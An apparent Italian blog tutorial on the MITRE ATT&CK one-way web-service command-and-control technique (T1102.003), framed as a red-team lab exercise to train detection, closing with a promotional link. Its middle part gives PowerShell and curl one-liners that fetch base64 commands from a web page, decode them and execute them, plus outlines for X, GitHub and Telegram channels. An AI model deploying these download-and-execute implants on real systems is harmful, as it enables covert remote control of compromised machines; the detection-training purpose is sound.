Comunicazione Unidirezionale via Web Service: One-Way Communication (T1102.003)

Questa sotto-tecnica descrive uno schema di Command and Control — fase TA0011 della kill chain — in cui l'avversario impartisce comandi a un sistema compromesso attraverso servizi web legittimi, senza ricevere risposta sullo stesso canale. Il traffico generato è essenzialmente a senso unico: il malware interroga piattaforme come GitHub, Twitter o Telegram per leggere istruzioni codificate in post, profili utente o repository, ma il risultato dell'esecuzione viaggia su un canale C2 alternativo oppure non viene restituito affatto.

L'efficacia della tecnica risiede nella mimetizzazione. La maggior parte delle reti aziendali consente nativamente il traffico HTTPS verso i grandi provider cloud e social media, rendendo queste connessioni quasi invisibili nei log di un proxy. La crittografia TLS aggiunge un ulteriore strato protettivo che impedisce l'ispezione del contenuto a livello di rete, a meno di un'infrastruttura di SSL inspection dedicata.

I numeri nel framework confermano una superficie d'attacco non banale: 2 gruppi APT, 6 famiglie malware, 1 campagna documentata e 2 mitigazioni mappate. L'assenza di traffico bidirezionale rende la detection particolarmente complessa, perché manca il tipico pattern request-response su cui si fondano molte regole di anomaly detection.

La simulazione di un canale C2 unidirezionale in laboratorio è un esercizio estremamente utile per validare la capacità del Blue Team di identificare connessioni sospette verso servizi legittimi. L'idea di fondo è semplice: pubblicare istruzioni codificate su una piattaforma pubblica e far sì che l'implant le recuperi periodicamente senza mai rispondere sullo stesso canale.

Canale Twitter/X come C2 di ispirazione HAMMERTOSS. Il malware HAMMERTOSS genera algoritmicamente un handle Twitter diverso ogni giorno, da cui scarica istruzioni. Per replicare questo schema si può creare un account di test su X e pubblicare comandi base64 come tweet. Lato implant, un semplice script PowerShell interroga l'API pubblica (o il feed RSS/Atom se disponibile) ed estrae il payload:

$page = Invoke-WebRequest -Uri "" -UseBasicParsing; $cmd = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(($page.Content | Select-String -Pattern '[A-Za-z0-9+/=]{20,}').Matches[0].Value)); iex $cmd

Su Linux la stessa logica si implementa con curl e base64:

curl -s "" | grep -oP '[A-Za-z0-9+/=]{20,}' | head -1 | base64 -d | bash

Canale GitHub à la Leviathan. Il gruppo Leviathan ha usato profili GitHub e TechNet per ospitare istruzioni C2. In lab si crea un repository privato (o un Gist) contenente un file di testo con comandi cifrati. L'implant lo scarica con curl o Invoke-WebRequest a intervalli regolari, decodifica e esegue. L'assenza di qualsiasi upload verso GitHub costituisce il pattern unidirezionale.

Canale Telegram come Gamaredon. Il Gamaredon Group ha sfruttato contenuti su Telegram per risolvere indirizzi IP di C2. Si può replicare creando un canale Telegram pubblico con un bot, pubblicando IP o comandi, e leggendoli dall'implant tramite l'API Bot di Telegram con una semplice chiamata GET.

Per l'orchestrazione red team, strumenti come Sliver (open source) o Mythic (open source) supportano profili C2 personalizzabili che possono simulare polling verso servizi web legittimi. In particolare Mythic consente di sviluppare profili C2 custom in Python che replicano esattamente il comportamento di lettura da una sorgente esterna senza risposta.

Consiglio di loggare tutto il traffico generato durante la simulazione con Wireshark (open source) per fornire al Blue Team PCAP realistici su cui calibrare le detection.

Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?

Scarica la guida gratuita e segui il percorso corretto fin dal primo passo